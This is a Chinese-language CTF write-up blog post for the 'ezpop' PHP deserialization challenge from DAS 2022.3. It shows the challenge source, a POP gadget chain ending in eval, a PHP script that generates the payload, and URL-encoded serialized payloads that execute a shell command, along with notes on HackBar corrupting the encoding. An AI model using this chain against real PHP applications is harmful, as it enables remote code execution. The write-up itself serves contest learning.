DAS2022.3 ezpop

一道出题人构造的PHP反序列化题。

正常解题

难度不大,主要讲一讲其他东西。

访问即看到源码:

<?php

class crow
{
    public $v1;
    public $v2;
    function eval() {
        echo new $this->v1($this->v2);
    }
    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;
    public function __destruct()
    {
        echo $this->f1 . '114514';
    }
    public function run()
    {
        ($this->f1)();
    }
    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }
}

class what
{
    public $a;
    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}

class mix
{
    public $m1;
    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}
if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

mix::get_flag里的eval可以用【\n】绕过(“【<br>】不行;前者是真的换行,后者只是HTML里的换行),确定其为最终目标。

代码分析,明确调用链:

fin::__destruct----->what::__toString----->mix::run----->crow::__invoke----->fin::__call----->mix::get_flag

其中,invoke魔术方法之前见的较少;其在对象直接被当做方法执行时触发。mix::run里有个动态执行,即 把mix类对象的m1当做方法执行。所以只要控制m1是crow类,即可触发invoke。

用于生成payload的代码:

<?php

class crow
{
    public $v1;
    public $v2;
	public function __construct($v1){
		$this->v1=$v1;
	}
	function eval() {
	    echo new $this->v1($this->v2);
	}
	public function __invoke()
	{
		echo "<br>crow::__invoke entered<br>";
	    $this->v1->world();
	}
}

class fin
{
    public $f1;
	public function __construct($f1){
		$this->f1=$f1;
	}
	
	public function __destruct()
	{
		echo "<br>fin::__destruct entered<br>";
	    echo $this->f1 . '114514';
	}	
	public function run()
	{	
	    ($this->f1)();
	}	
	public function __call($a, $b)
	{
		echo "<br>fin::__call entered<br>";
	    echo $this->f1->get_flag();
	}
}

class what
{
    public $a;	
	public function __construct($a){
		$this->a=$a;
	}
	public function __toString()
	{
		echo "<br>what::__toString entered<br>";
	    $this->a->run();
	    return 'hello';
	}
}
class mix
{
	public function __construct($m1){
		$this->m1=$m1;
	}
    public $m1;
    public function run()
    {
    	echo "<br>mix::__run entered<br>";
        ($this->m1)();
    }
    
    public function get_flag()
    {
    	echo "<br>mix::__getflag entered<br>";
    	echo "<br>$this->m1<br>";
        eval('#' . $this->m1);
    }
    
    public function __toString()
    {
    	return "<br>safe<br>"; 
    }
}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

$r=serialize(new fin(new what(new mix(new crow(new fin(new mix("\nsystem('find |xargs grep \"flag\"');"))))))); 
echo "<br>".$r."<br>";
echo "<br>".urlencode($r)."<br>";
?>

​ 主要的增加内容是很多测试语句(echo),很多构造函数和mix类的__toString方法。增加最后一个的原因是:fin对象在摧毁是会把它的f1属性当字符串数出来,而在我们的链中,那个东西是mix对象;如果mix类缺少toString方法,虽然RCE部分可以执行(已经执行过了),但后续输出payload的部分无法执行。会报错:

Object of class mix could not be converted to string in <b>/var/www/html/index.php

同时这也说明了,这个错是不影响RCE的。

交学费

事情进行到这里都很顺利;但在比赛里,payload传进去flag出不来,我一直以为是上面那个报错的问题,于是就G了。

后来调试才发现,是hackbar的问题!!!

由于生成的payload包含'\n'等字符,最好将其url编码后再传参(url编码是个好习惯)。之前的程序生成的payload是这样的:

O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A35%3A%22%0Asystem%28%27find+%7Cxargs+grep+%22flag%22%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D

使用burp,也可以成功getflag。

但使用hackbar就不行,拿burp抓hackbar的包分析,发现它对我们的payload做了一些修改

O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A35%3A%22%0D%0Asystem%28%27find%2B%7Cxargs%2Bgrep%2B%22flag%22%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D

首先,原本的空格在第一次url编码中变成了【+】,又经过hackbar,就变成了真的加号,这是导致payload无法使用的原因之一。

还有一个原因是,hackbar在【"\nsystem"】前面加了一个【%0D】。这个我就不理解了。

总之,以后涉及到这种传参,就直接用burp;hackbar就传点普通的get post参数得了。

posted @ 2022-04-29 12:13  hiddener  阅读(35)  评论(0编辑  收藏  举报